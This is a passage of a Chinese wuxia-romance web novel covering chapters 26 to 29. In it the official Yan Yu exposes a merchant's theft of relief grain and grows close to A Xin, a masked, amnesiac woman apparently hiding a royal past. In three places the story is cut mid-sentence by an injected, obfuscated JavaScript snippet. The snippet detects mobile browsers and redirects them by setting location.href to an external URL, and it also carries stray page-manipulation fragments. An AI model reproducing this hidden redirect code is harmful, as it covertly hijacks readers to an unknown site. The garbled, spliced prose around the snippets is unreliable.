言煜向素朝英微微颔首,随即转身离去。 浓郁的香气熏染了他的衣袖,使得暗沉的玄色长袍染上了一丝香脂气。 他微展衣袖,不经意地抚平了衣袖上的褶皱,清冷的眼神随即从衣袖上移开,没入昏暗的灯光里。 有那么一个瞬间,素朝英觉得他像是夜的影子,尽管外表不染风尘,内心却无人能懂。 “若大人愿在峨眉多住几日,便让阿心带路带大人四处转转吧。” 话音未落,言煜似是把脚步放缓了些,然而很快便又恢复了往日的速度,直到消失在素朝英的视线里。 26. 出头 画室内除了素朝英空无一人,她转过身将那挂在墙壁上的画轴小心翼翼地翻转,原本朝着墙壁的一面便映入了她的眼帘。 那画轴的背面竟画着一名身着侠衣的男子,那男子手持长刀,眼眸深处尽是肆意。 她的动作极为小心,抚摸着卷轴的动作好像在触碰一位许久未见的故人。 就在此时,画室一侧的秘门被打开,一位一身素衣的女子走到了素朝英的身边。 “师姐之所以愿意给他机会,是因为想到了故人吗?”素衣女子长眉微蹙,凉薄的眼神里流露出淡淡的担忧。 素朝英默声不语,却是没有否定。过了良久,她才缓缓将卷轴恢复到最初的模样,转过身去对上素衣女子的眼眸。 她的声音很轻,仿佛的在蹙眉长叹:“千衣啊……你还记得我们刚把她救回来的时候发生的事吗?” 素千衣愣了一下,答道:“自然记得。” 素朝英笑了笑,继续道:“那时候你看了她一眼就说她活不成了,可是她还是撑了下来,从始至终没有喊一声疼。” “可就是这样的人,在生死之际,却喊着一个人的名字。”素朝英侧过身,远远地望向玄衣男子离开的方向。 透过微光,她仿佛看到了空中的纤尘,渺小,却又带着特殊的力量,令人难以忽视。 “师姐你是说……”素千衣似乎明白了一切,“言煜……言焕卿?” “我只能帮他们到这里,剩下的便要靠他们自己了。希望他们的真心经得住考验,不会走上我与他的旧路。”素朝英眼神微动,随即转身离开。 素千衣明白素朝英的念想,她做出这样的决定不仅是为了这两个有情人,更是为了弥补自己当年的遗憾。 然而时间会轻易将一个人变得面目全非,一如当初素朝英认识的那个青年游侠,后来便辜负了她的心意,沦落成了搜刮民脂民膏,作恶江湖的混蛋,最终也只落了个被仇人寻仇,乱箭射死的下场。 素千衣因其精湛的医术被江湖称为千衣圣手,她平生早已看惯了人在生死之际的丑陋,但当她想起那双肆意风流的桃花眼时,她只能承认她确实动容了。 此刻,阿心正一蹦一跳地跑入自己的房间,顺手带上了房门。然而下一秒,她脸上天真烂漫的笑容消失不见,只剩下一副毫无表情的面容,与方才判若两人。 她走到铜镜前,望着铜镜中的这副面孔一时间竟感觉有些麻木。她随即伸出右手,轻轻抚上自己的脸颊,而后稍稍用力,半张人皮面具便出现在了桌面上。 这副面具背后,才是她真正的脸。 剑眉凌厉,衬出几分英气,一双桃花眼仿佛蕴藏着万千风流,眼神里的压迫感却在不笑时尽显。 她不知自己是谁,也不知自己从哪里来,只知晓自己在五年前受了很重的伤,被千衣圣手从鬼门关拉了回来,但也因此失去了记忆。 然而她却知道,她在这世上有一个一直想置自己于死地的仇人,所以她不得不整日戴着半张人皮面具掩盖真容,甚至为了不让人起疑不惜伪装成一个疯疯癫癫的女子。 即使如此,她好像还是会下意识地保持着从前的习惯,甚至就在最近,她好像开始模模糊糊地想起了一些从前的事。 就在今日,当她看到那玄衣男子的面容时,她竟生出了一种从未有过的,熟悉的感觉。这种感觉,就好像他们已经认识很久很久了。 阿心望着铜镜中陌生的自己,一时有些愣神。但她明白,如今在这个世界上,她能相信的,除了素朝英和素千衣,便只有她自己。 她没有行差踏错的机会,因为一旦踏错一步,等待她的将会是万劫不复。 “阿心,山下刚刚送来了几箱玉米,素娥师姐让你一起去帮忙!” 这一声叫唤倒是把阿心拉回了现实,她仔细一想,便知其中有诈。 先不用说这人的声音很是熟悉,是与她一直不对付的一个小弟子晓晓,再说此刻太阳已是快要下山,按照往日惯例素娥应当在闭关练功,怎会有闲工夫去搬玉米? 阿心嘴角缓缓勾起,讥讽地笑了笑,想着这背后之人也就这点伎俩,还想套路自己? 不过她而今对外的身份是个时常发疯的疯丫头,又是个有名的吃货,这个当她还真是非上不可!既如此,不如去会会他! 阿心想着,很快覆上了一张崭新的人皮面具,刻意提高音量回了一句:“来了!” 果然不出阿心所料,刚往山下走的时候山头上还能看见几个来来往往的弟子,但没过多久太阳便落了山,下山的道上便只剩下阿心一个人了。 阿心抬头望了一眼即将被夜幕笼罩的天际,心想:是时候了。 待到了山脚,阿心倒是望见了几个人的影子。远远望去,那一众人都穿了夜行衣,看上去不像是来送玉米的,倒像是来打家劫舍,顺带着抓人的。 “阿心姑娘,好久不见。” 轻佻的声音落入耳中,阿心便知道是那个被自己坑了的富家少爷找上门来寻仇了。 “孙少爷,您看您真是……不太好,我们不是早上刚见过吗?” 虽然面对的人看上去大多凶神恶煞,阿心却是根本不带怕的。因为这几日她好像记起来了一些事,其中就包括以一己之身挑翻数以百计大汉的画面,故而面前这些花拳绣腿,她压根就没放在眼里! 说着阿心挤出一丝笑容,又用手指了指脑袋,意思是说他脑子不太好。 “你……你!” 孙宏允早上便因为这个疯丫头在众人面前失了颜面,如今又是生平第一次被人说脑子不好使,一时怒火中烧,说不出话来。 但他似是想到了什么,仔细打量了一下面前的阿心,怒极反笑,眼神阴沉,道:“好好好!非常好!你今日下了本少爷的面子,本少爷要了你的人,也不算过分。” 这时候阿心倒是不由自主地可怜起面前这个人了,敢对她动这份心思,面前这人恐怕还是第一个! “给本少爷上!小心点,别把人弄伤了。”孙宏允向四周的下人使了个眼色,挑了挑眉,双手抱胸,准备看好戏。 既然已经送上门来了,阿心想着自己断没有让人空手而归的道理。 她顺手折了一根树枝,迈着晃悠晃悠的步伐就撂倒了好几个看上去比她高大半个头的壮汉,正当她打算开始活动活动筋骨的时候,有个人却挡在了她的身前。 那人身形颀长,披着一身玄色大氅,站在寒风中却让人觉得有些苍凉。 他背对着她,然而从他宽大的衣袖中散发出的雪松香却让她觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828738|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格外熟悉,随之而来的还有一种莫名的安全感。 “在没有人的地方欺负一个小姑娘,孙少爷倒真是让言某大开眼界。” 言煜分明是在浅笑,然而孙宏允却隐约从那双深色的眼眸中感受到了一丝杀意。 他属实没有想过会在此处撞见言煜,顿时脸色不是太好,说话也没了方才的底气。 “大人……许是看错了,我可没有欺负阿心姑娘,我只是……想找她再切磋切磋……对!” “哦?原是言某误会了?”言煜挑了挑眉,眼眸深处浅淡的笑意里似是划过几分不屑,随即瞟了一眼不远处的孙宏允,意味不明。 “今日天色已晚,孙少爷还是早点回府吧,免得让孙大人担心,不日言某定登门拜访。” 言煜说这话时依旧如往常一般浅笑着,令人看不分明其心中所想。 他的声音如温玉般柔和,然而字字句句落入孙宏允的耳中,却让他不忍觉得后背发凉,心仿佛要跳出了嗓子眼。 孙宏允察觉到了面前之人的厉害之处,心知此地不宜久留,于是点头称是,带着手下转身欲走,却被一个有着一双葡萄眼,长相清秀的少年拦住了。 那少年正是飞鸢。飞鸢手持长剑,剑未出鞘,只是用剑身抵着孙宏允,似是不会让孙宏允离开半步。 孙宏允哪里见过如此阵仗,先前的威风一下子消失殆尽,整个人显得有些畏畏缩缩。他转过身去,脸上拉着一抹苦笑,小声道:“言大人……这是何意?” 言煜不去看他,只是微微侧过身看了一眼身后的阿心,看似云淡风轻地道了一句:“既然孙少爷冒犯了阿心姑娘,自然要得到她的原谅。” 言下之意已然很明显了,但是孙宏允还是愣了一下。他没想到面前这人竟会因为一个只有一面之缘的疯子让自己道歉,更不惜与孙家产生芥蒂。 不要说孙宏允了,就连阿心都没想到这人会为了自己开罪孙家。这么多年,他倒还是第一个为她当众出头的人。 不管怎么说,阿心的心里都有些酸酸的,不是滋味。 但她实在也不想给他添麻烦,再说那人也没本事拿她怎么样,于是她拉了拉他的衣袖,道:“我没事……算了吧。” 可那人却好像没听到似的,只是勾了勾唇,用极冷的目光凝视着不远处的人影,默不作声。 但这本身就是一种极大的压迫感,使得孙宏允几乎喘不过气来。没过多久,额头便沁满了汗珠,脸色也略显苍白。 孙宏允这下算是明白了,要是自己不服软,言煜是绝不会放自己走的。 他曾经听父亲说过,面前这人如今深得圣心,就连他父亲对其也是心生敬畏,加之自己今日又是偷偷跑出来的,要是让父亲知道了,自己更是吃不了兜着走! 孙宏允咬了咬牙,朝着阿心的方向颤抖着弯下了腰,声音嘶哑:“阿心姑娘,今日是我之过,还望姑娘原谅。” 不得不说,让这个从未服过软,眼比天高的富家公子哥对着自己道歉,阿心心里还是忍不住生出几分爽意来。 “满意吗?你若不满意我再叫他……” 言煜不知何时转过了身来,正对着她的眼眸。深蓝色的夜幕下,那双矜贵的凤眼仿佛凝着一层薄雾,却在望向她的那一刻似有暗流涌动。 27. 焕卿 阿心望着这双眼眸,忍不住愣了一下,随即回过神来痴痴地点了点头:“满意满意。” 言煜见了她的模样,便也不再多言,只是轻轻地抬了抬右手,远处的飞鸢便收了剑身,那孙宏允见状又惊又惧地夹着屁股走人了,一路上还踉跄了几步,似是被吓得不轻。 “你得罪了孙府,他们会不会找你的麻烦?”阿心下意识地微微皱眉,随即抬起头来看他,眼眸依旧亮晶晶的。 “怎么?担心我?”言煜勾了勾唇,向前走了一步,刻意地低下了头,使得她的目光能与自己齐平。 二人的距离被拉进,阿心能清晰地看到他轻抿的薄唇,微微滚动的喉结,甚至能感受到他呼出的热气。 不知为何,阿心的心里竟一时有些乱糟糟的。面前的人就好像一个看上去人畜无害的狐狸精,每一个动作和眼神在此刻都好似勾引。 她下意识地深吸了一口气,略显笨拙地将目光从他身上移开,这才好了些。 阿心定了定神,正欲解释,却被打断了。 “别人都说你又疯又傻。”他微微仰起头来,仔细地打量着面前的人,薄唇轻抿,眼眸含笑,“可我怎么觉得……你既不疯……也不傻。” 阿心微微怔住,但她猜到面前这个人是在套自己的话,于是心一横,双手撑腰,嘟起嘴来,故意装作气鼓鼓的模样,声音却格外娇嗔:“对啊!我一点都不傻!谁说疯子就不能是个聪明的!” 这段话飞鸢听起来或许是疯姑娘在维护自己的自尊,但落入言煜耳中便是别有一番意味了。他可以选择信,也可以选择不信,只是面前这人的话中几分真几分假还需细细揣摩。 但是有一点,言煜是肯定的,面前这个阿心绝不简单。 若说在与素朝英交谈过后他对阿心生出了三分怀疑,那方才在远处看到阿心与记忆中的她极为相仿的身形之后,加之刚才的一些试探,他便有了六分怀疑。 言煜凝了凝神,目光落在她身上,便不再移开。 他的眼神深沉,其中隐藏了太多的情绪,似乎在任何一个不经意的瞬间里,这些情绪都会不声不响把他往下拉入深渊,让他坠落。 若是往常,他必定不会轻易相信这世上会有这么巧的事情,但在这一刻,他从未有过地想要蛊惑自己相信,面前的人就是他找了整整五年的那个人。 他不信神佛,却在这一刻无比希望自己是被眷顾的那一个。 但若真的是她,她只是装作不认识自己,还是……她真的已经将他忘记了。这其中……究竟发生了什么?言煜忍不住去想,右手下意识地将腰间的墨玉玉佩攥紧。 “不过若是你来晚一点,你就能看见他们都躺在地上睡觉了!” 阿心用力转了转右手手腕,随即手指缓缓收紧,手掌顿时变成了一个坚不可摧的拳头。她浅笑着,好像全身有着使不完的力气。 言煜敛了神色,笑着点了点头。阿心说的这一点,他倒是深信不疑,说起来,她还是没打痛快。 阿心静静地望着他,发现自己总会觉得面前这人格外熟悉,这种奇怪的感觉在她遇见他以来已经不止一次出现过了。或许,他们以前是真的相识吧。 “对了,他们都叫你大人,可是我还不知道你叫什么名字呢?” “我姓言,名煜,字焕卿。阿心姑娘唤我言煜,或者焕卿便好。” 阿心若有所思地点了点头。这个名字……她好像曾经在哪里听过。 她不动声色地微微皱眉,似是要逼自己想起来什么,但太阳穴却传来一阵剧痛,几乎让她头痛欲裂。 她的嘴唇微微泛白,额间沁汗,就连脚步也变得有些虚浮。她有意地微微侧过身去,让自己整个人被黑夜遮蔽,不让言煜察觉出异样。 但言煜的心思显然比她想象得还要细。他伸出手,似要抚上她的额头,却在距离不到一寸的地方停下了。 “阿心姑娘,你怎么了?” 阿心故意伸出手来捂住嘴巴,作势打了一个哈欠,看上去睡眼蒙眬,声音也有些黏黏的,好像姑娘家的撒娇:“我只是有些困了。” 声声入耳,言煜方才悬在半空的指尖竟泛起一阵酥麻。 他强迫自己定了定神,方觉此时已是戌时三刻,夜幕已深,便也没再多问,只道一句:“时候不早了,不如我护送姑娘一道上山吧。” 阿心挤出一丝笑意,点了点头,眼眸依旧亮晶晶的,只不过是在强撑。 她的步子快些,故而走在前面,没有人看见她的神情。 只有她自己知道,她方才虽然头痛欲裂,却好像隐隐约约记起了一些事情。 她好像记得他对她说过这么一句话:“言煜唯愿我朝海晏河清,陛下能筑太平盛世,也能……寻得有情人。” 琐碎的记忆在感觉上很是真实,可她迷迷糊糊的,想要再逼迫自己想下去,那种疼痛便极为难忍,她也只好作罢。 但她依稀记得他曾唤自己“陛下”,那时他对自己的态度不仅是朋友之间的,更像是君臣之间的。 早在之前的时候,她便隐约记起了一些小时候的事情,记起了她的父亲曾带她去过皇城,记起了她少年时在军营里的日子,可她却始终没有记起自己的身份。 她虽五年在峨眉闭门不出,却也从一些峨眉弟子的口中听到过一些关于外界的事情,其中不乏有一些关于皇室的传言。其中最为盛传的,便是凤希帝孤弈行亲征匈奴而后失踪的故事。 阿心微微皱眉,嘴里默念着这个名字,眼眸深处似有暗流涌动。 她的身后,飞鸢走到言煜身旁说了几句话,言煜微微敛眸,神色不显。 等到上了山,言煜一路将阿心送往了住处。然而他正欲离开,却似想到了什么,转身望着阿心蹦蹦跳跳离开的背影唤了一句:“四日后,便是寒衣节,山下梨城会举行灯会,阿心姑娘可想去?” 阿心的脚步放缓了些,随即勾了勾唇,杏眼含笑,声音爽朗:“好啊!我很久没有下山玩了!” 言煜薄唇轻抿,转身而去。 他记得,五年前的上元灯会,她与他同行。世事变迁,但他依旧希望,今年的寒衣节,在他身边的还会是当年的那个人。 次日,孙府。 孙厚身着深棕色长袍,眉头紧锁,眼睑下方浮起了一小片深色的淤青,似是一夜未眠。他虽依旧正襟危坐,但心中已是乱成一团。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828739|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 昨日深夜孙宏允狼狈地跑了回来,正巧被他撞见,几番逼问之下终于说了得罪这位圣眷正浓的尚书大人的实话。 他孙家虽家大业大,说到底却也只是一介商贾,并没有实权,这几年若不是用钱疏通了门路,也不可能将生意做得如此风生水起。 然而生意大了,做事难免嚣张了些,再加上孙宏允私底下还借着孙府的名头收些保护费,因此便也成了人们口中峨眉一带的地头蛇。 孙厚皱了皱眉,他知道这些还在其次,最主要的是那批东西不能被发现,不然事情便再无转圜余地。 “老爷!来人了!”孙府的管事匆匆入内,神色有些惊恐。 孙厚深吸了一口气,下一秒便回复了平日巧言令色的模样,他振了振衣袖,便朝外走去。 言煜此时已下了马车,远远便望见孙厚笑着向自己走来。他微微作揖,嘴角含笑,言语温润:“孙老爷,久闻大名。” 孙厚仓皇摆了摆手,挤出一丝精明的笑意,余光打量着面前的青年男子,道:“不敢不敢,大人年轻有为,孙某自不能与大人相提并论。” 孙厚看见面前男子身着一袭雪色长袍,身披素色鹤氅,长身玉立,气质温润。 他生着一双极为庄重的凤眼,眼尾却微微上扬,让人不忍怀疑他的风流是藏在骨子里的。 分明看上去是一介文弱风流公子,却是个极有手段的。孙厚几乎不能透过面前人的举止去想象他在政场上的模样,这让他不禁后背微凉。 “外头风大,不如我与老爷入府内一叙?” 言煜的一句话却是让孙厚回到了现实。他连忙点头,笑着道:“那是自然。言大人,请。” 言煜一路观察着府内陈设,发现府内陈设极为精致,孙府中人的生活奢靡可见一斑。 他勾了勾唇,薄唇轻抿,故作艳羡:“孙老爷的日子过得可真滋润,这府内陈设倒比言某府中的陈设还华丽不少。” 孙厚乍听之下神色一紧,细细想来以为面前这位与那些大人并无什么不同,于是连忙阿谀奉承,神情也轻松了一些:“大人说的哪儿的话,要是有喜欢的,大人尽管拿去,权当是孝敬大人的。” 言煜轻笑了一声,眼眸深处神色不显,声音似是沉了下去:“言某自不是强人所爱之人。不过一些规矩,孙老爷应当明白。” 这下孙厚才反应过来自己差点中了面前这人的套,眸色沉了些,身体也肉眼可见地紧绷了起来。 孙厚请言煜在贵客厅坐下,又命人沏了茶,正欲坐下,便听见对方道了一句:“言某在京都之时就听闻峨眉一带连年干旱,百姓饥苦,陛下也几度命人运粮至此地,可这几日言某见百姓生活富足,孙老爷可知这是为何?” “许是……陛下下拨的粮食让峨眉百姓度过了劫难……才有了如今百姓和乐的局面。” 言煜注意到,分明是寒冬的季节,孙厚的额间却已沁满了汗珠。 “是吗?” 言煜冷笑了一声,嘴角却不见半分笑意。只见他薄唇微启,深色的眼眸深处压迫感尽显。 “可言某怎么听闻,有人谎报情况,私动朝廷拨下来的粮食,用以中饱私囊?” 28. 寒衣节 孙厚见状心头一颤,微微攥紧的手心里生出丝丝冷汗。他故作镇定,假装毫不知情,只是顺着言煜的话装傻充愣:“竟有此事?孙某长居峨眉,竟未曾听闻。” 言煜似乎对孙厚的反应毫不惊讶。他淡定自若,伸出右手去接那刚刚沏好的新茶,随即将茶杯递到唇边轻抿了一口,温言道:“好茶。” “孙老爷向来人品贵重,不曾听过这件事倒也是情有可原。”言煜浅笑。 孙厚微微颔首,拱手作揖。 “不过言某倒有一事相求。” 此言一出,倒让孙厚摸不着头脑。但他转念一想,常言道吃人嘴短拿人手短,这有事相求自然也是一样的道理。既有所求,有些事便也好办了不少。 于是孙厚的脸色又重新浮现出一抹奸诈的笑意:“大人客气了。大人之所求,孙某一定尽力办到。” “那便好。”言煜微微挑眉,矜贵的凤眼深处意味不显。他将茶杯缓缓搁下,随即不经意地整理了一番衣袖,竟是起了身。 “方才还担心孙老爷不答应,竟没想到老爷也是爽快人。这些日子,言某已是查到了这批粮食的去处,还望老爷随言某走一趟,替我做个见证。” 话音未落,孙厚竟觉膝下一软,差点没有一头栽下去。这时好巧不巧,孙宏允偷偷摸摸出了房门,似是还欲出去饮酒作欢,结果被言煜撞了个正着。 言煜斜睨着看着他,微凉的眸光从他头顶扫过,就连他的声音也是冷冷的:“这个时候,孙少爷还要去哪儿?” 孙宏允见状不对,又隐隐看见孙厚对着自己使了个眼色,是以不仅没有停下脚步,反而飞奔了起来,欲强行夺门而出。 言某早有察觉,右手一挥,飞鸢便消失无踪。几分钟后,孙宏允就被押着送到了言煜身旁。 孙厚见状便知道面前这人已是铁定了心,今天自己恐怕是要折在这里了。但生死关头,不到最后一刻,他依旧不会松口,万一……万一还有变数! “孙老爷,请吧。” 言煜依旧是浅笑着,一副温润如玉的模样,但他此刻在孙厚心中已与洪水猛兽无异。 孙厚见此人生着一副世间少有的绝色皮囊,没成想皮囊之下却藏着一颗令人猜不透的玲珑心肠,这样的人,才是真的可怕! 言煜派人押着孙厚与孙宏允,大约一个时辰后一行人行至一个西郊的小山丘。小山丘不深,却被改造得像一个小型的仓库,里面整齐地堆满了一大片蛇皮袋。 “飞鸢。” 言煜给飞鸢使了个眼色,飞鸢随即拔出佩剑,在蛇皮袋上快准狠地磁了一剑,看上去坚固非凡的蛇皮袋竟也开了一个大口子,里面的沙粒倾泻而出。 孙厚长舒了一口气,道:“大人公务繁忙,许是弄错了,这里没有什么粮食。” “就是就是!”孙宏允附和道,但被孙厚一瞪把喉咙里还没说出的话硬生生地咽到了肚子里。 “孙老爷莫急。”话音未落,言煜接过飞鸢手中之剑,朝着右侧一排蛇皮袋中最低部的一个蛇皮袋刺去。 下一刻,浅咖色的米粒落了一地。 “这几日言某一直派人盯着贵府,发现昨日子夜有不少家丁拖着袋子到了此处。若不出言某所料,这些粮食原来的袋子上还留有国库特有的印章,而这些袋子如今应当还在附近。加之这些袋子里都是陈米,与国库内下拨的粮食吻合。”言煜嘴角微微上扬,眸色渐沉,“言老爷,还有何话要说?” 孙厚佝偻着背,整个人已是微微颤抖,额间直冒冷汗。但他似是想到什么,声音有些低沉沙哑:“大人冤枉啊大人,定是有人……有人栽赃陷害。若大人能替草民做主,草民定会……” “孙厚!贿赂朝廷命官,罪加一等!” 可怜那孙厚还未把话说完,便被言煜的一声呵斥吓得瘫倒在地上。而方才还有些嚣张的孙宏允也知大事不妙,面如土色地跪在地上,没了一丝神气。 “有罪无罪,自有刑部的人来审,孙老爷若有什么冤屈找他们便好!带走!”言煜一声令下,飞鸢便带领一众人把孙厚和孙宏允押走了。 待到众人离去,言煜却独自一人留在原地。他微微仰起头,清冷的月光缓缓撒在他的眉眼间,鬓角处。 他仿佛在黑夜中静待黎明的人,深入泥泞,却恍若一身无尘。 山郊不比洛阳的繁华,只有漫山遍野的野草,再无半点人烟。他自在赏景,却在无声处冷冷地笑出声来。 这些年来雍朝的局势,他越是接近权力的中心便看得越清楚。雍朝看似民殷国富,实则外有强敌虎视眈眈,内有党派贪污强权,早已是外强中干。 然而喻威亦是穷兵黩武之徒,早年间征收纳税导致民不聊生。不仅如此,其人生性多疑,近年来逼迫不少武将交出兵权,亦有不少大族因此覆灭,雍朝早就没有了与外敌抗击的资本。 如此乱世,仅凭他一人之力,又能救得了几人? 言煜远远地望着野草肆虐的山坡,清冷的眼眸深处暗流涌动。 他明白,在他心中,能救这天下的,唯有一人。 曾有人问过他,若她虽活着,但已改志,他当如何。他当时只道:“她不会。” 其实只有他自己知道,需要她的,又怎会只有这天下? 三日后,寒衣节。 孙厚的罪行被查清之后,言煜这几日忙于将峨眉一带贪赃枉法的官员一并清查,是以每日都将至亥时才安歇。而寒衣节前一日,言煜处理公务几乎一夜未眠,未至申时便让飞鸢去峨眉山接人。 半个时辰后,飞鸢扣了扣门。然而没等言煜说话,门口就蹦出了一个圆圆的脑袋。阿心见到他便咧着嘴笑,一双大眼睛忽闪忽闪的:“早啊!” 女孩子甜甜的声音传入耳中,言煜不由得愣了一下,随即无奈地笑了笑,合上了看完的书册。 “都申时了,还早?”言煜故意逗她,说着便披上大氅往外走去。 阿心笑着不语,只是跟着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828740|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言煜上了马车。 马车内似是早有过一番精心布置,座椅上摊好了用狐皮制成的软垫,座位旁的小桌子上更是安放好了两只暖手炉。这使得阿心一进到马车里便觉得暖和了不少。 桌上的暖手炉小巧精致,仔细一看更是讨喜,阿心似是没有见过这么精致的小玩意,握在手心里就开始细细观赏起来。 看着看着,她竟笑了起来:“公子这样的人物,竟也喜欢这些小动物吗?” 阿心说着又细细把玩了一番。这两只暖手炉一黑一白,上面的图案也有所不同。那只墨玉制成的暖手炉上雕刻着狐狸的形状,而另一只白玉制成的暖手炉上的图案则似是一只狼。 言煜接过那两只暖手炉,抿唇不语,凤眼深处的神色淡淡的,却是在看着对面的人:“阿心有句话可是说错了,狼与狐狸之流可不只是毛茸茸的小动物。” 不知为何,阿心感觉自己愣了一下。她下意识地抬头去看此刻也在凝视着他的男子,却仿佛能透过他的眉眼看到很多说不清道不明的东西。 “确实如此。”她似是觉得不妥,目光从他身上移开,整个人又往后挪了一挪,但下一秒却伸手夺过方才被言煜拿去的暖手炉,揣在手里。 她的动作看似云淡风轻,落入言煜眼中却更像有意躲闪。不过如此,倒更像是她的脾性! 言煜望着此刻偏过头去的阿心,眼尾微微上扬,浅笑不语。 半个时辰后,马车到了梨城外。 “少爷,我们到了。”飞鸢掀开了帘子的一角,探出了个脑袋,却看见言煜向她比了个噤声的手势。 飞鸢再仔细一看,原来阿心已经迷迷糊糊睡着了,他转过头去忍不住嘀咕道:“少爷昨日几乎一夜未眠都未休息,她怎么倒先睡了?” 原是阿心在抢过手炉之后便没有再说一句话,无聊发闷,又加之马车颠簸,车内却温暖如春,这才难忍睡意。 然而正当她沉浸于美梦之时耳畔传来几声呼唤,她自是不肯醒来,挪了挪身体又双手抱胸继续睡去。 言煜见叫不醒她,只好无奈去拍拍她的肩膀,却没想到方才还在睡梦中的人猛然就抓过自己的手腕,又借势将他抵在椅子上。 言煜眼尾微沉,却见面前的人只睁开了一只眼睛,待到看清面前的人是他时顿然松手,连忙笑着赔罪:“方才睡得沉,不知是公子,公子莫见怪。” 言煜笑着说了句无妨,眼眸深处却早已暗流涌动。 她方才显然是将他当成了偷袭的敌人,即使是在不太清醒的时候身体都会下意识地做出反应。这种反应,分明是常年行军之人才会有的。 他凝视着对面的女子,却仿佛想要透过这一张陌生的面孔看出什么。 他早就听闻江湖之中有一种秘术名为易容,使人贴上人|皮|面具后看不出丝毫异样,峨眉或许便有这种秘术。他心想。 还记得他第一次见到阿心之时便有一种熟悉的感觉,或许这便是上天给予他的垂怜。 29. 说书 “我们到了吗?” 阿心的一句话把言煜拉回到了现实。言煜正欲去扶她,却见她自己跳下了马车,稳稳落地后歪着脑袋打量着面前的梨城。 言煜无奈地摇了摇头,也跟着她下了马车。 二人进了梨城后,阿心沉迷于这寒衣节的长街盛况,总是一蹦一跳地走在前面,言煜只好下意识地牵住她的衣袖,防止她在人群中走丢。 但阿心走着走着,却停下了脚步。 言煜觉得奇怪,顺着她的目光望去,只见一个老人看顾着一个小摊子,摊子上整整齐齐地摆放着一整片糖葫芦。 小摊上的糖葫芦分为好几种,有山楂的,草莓的,橘子的,葡萄的,还有一些其他口味的,个个果实圆润饱满,上面又裹满了晶莹剔透的冰糖,看上去格外诱人。 这下阿心似也意识到言煜在往这处看,反手牵住了言煜衣袖的一角,故意晃了几下,声音娇软:“公子……” 不知为何,言煜的心软了一半。 那摆摊的老人似也看到了阿心直勾勾的眼神,笑着对言煜道:“既然小娘子欢喜,郎君何不给小娘子买上一串?” 阿心勾着嘴唇点了点头,还是如之前那样直勾勾地盯着言煜。不知为何,阿心总觉得之前每次这么做言煜都能顺着他,这一次自然也能。 阿心这些天一直在想关于以前的事,但每次逼迫自己去想还是会头痛欲裂。但即使如此,有一件事她很确定,那就是面前的男子对她是无害的,甚至曾经是非常熟悉的。 然而这些日子以来,他的表现似乎印证了她的想法。她常常觉得,他每次望向她的眼神好像透过这张覆着人皮面具的脸看着一位故人。 他的眼神中时而流露出淡淡的忧愁,时而显得有些凝重,有几次又显得过于汹涌澎湃。尽管刻意压制,他还是会下意识地流露出那种温柔似水的眼神,好像在看着一个他深爱着的人。 这些年来,她本以为自己忘记了很多东西,早已变得铁石心肠,却没想到对着这样好的一个人,她竟有些心动了。 “你喜欢哪个?” 言煜低下头问她,阿心一时没反应过来。 言煜以为她是在纠结选哪个,便不再问她,浅笑着转身向那摆摊的老人走去,将一贯钱递到他手中:“老板,每种口味都要一串。” “好嘞!”那老人笑弯了眼,一边拿着糖葫芦嘴里一边细细地念叨,“郎君待小娘子可真真是好!” 阿心这下傻眼了,她想吃糖葫芦不假,想借此试探言煜也不假,可是她没想过要吃这么多糖葫芦啊! 下一秒,七八根打包好的糖葫芦就递到了她的手里。她下意识地挑了挑眉,望着低头看她的言煜:“这也太多了吧……” “最近天凉,糖葫芦不易化,多买些,这样你明日想吃的时时候也能吃了。” 虽然是这个理儿,但是阿心此刻看着这模样俊俏的公子哥,也只想骂一句:人傻钱多。 阿心低着头按捺着自己的情绪,顺手拿了一串冰糖葡萄,咬了一口,只觉味道不错,心里竟也格外清甜。 “你也吃。”阿心又拿了一串递给言煜,言煜本欲推辞,但硬是被她塞到了手里。 “这位小兄弟也辛苦了。”阿心看到言煜身后一直护卫的飞鸢不过少年模样,看着也怪讨巧的,便也递了一串过去。 “阿心姑娘不用……”飞鸢有些受宠若惊。 “哎呀你看你们两个主仆,今天出来玩的日子总是端着做什么!我一个人又吃不完……” 说着阿心又把那串糖葫芦塞到了飞鸢手里,飞鸢见言煜点了点头,便收下吃了起来。说起来,对这些甜食,他还蛮中意的。 “阿心,我有没有同你说过,你真的很像我的一位故人?” 阿心放缓了脚步,微微侧过身去,见言煜目光缱绻,眼眸深处似乎浸润了太多的情绪。 她故作镇定,咬了一口葡萄,漫不经心地问了一句:“阿心有些好奇,公子口中的故人是何种模样?” “她是一个极好极好的人,也是我见过最坦荡的人。她虽是女儿身,却能在荒原纵马,在沙场驰骋,机智敏捷,心怀天下,胜过这世间万千好儿郎。” 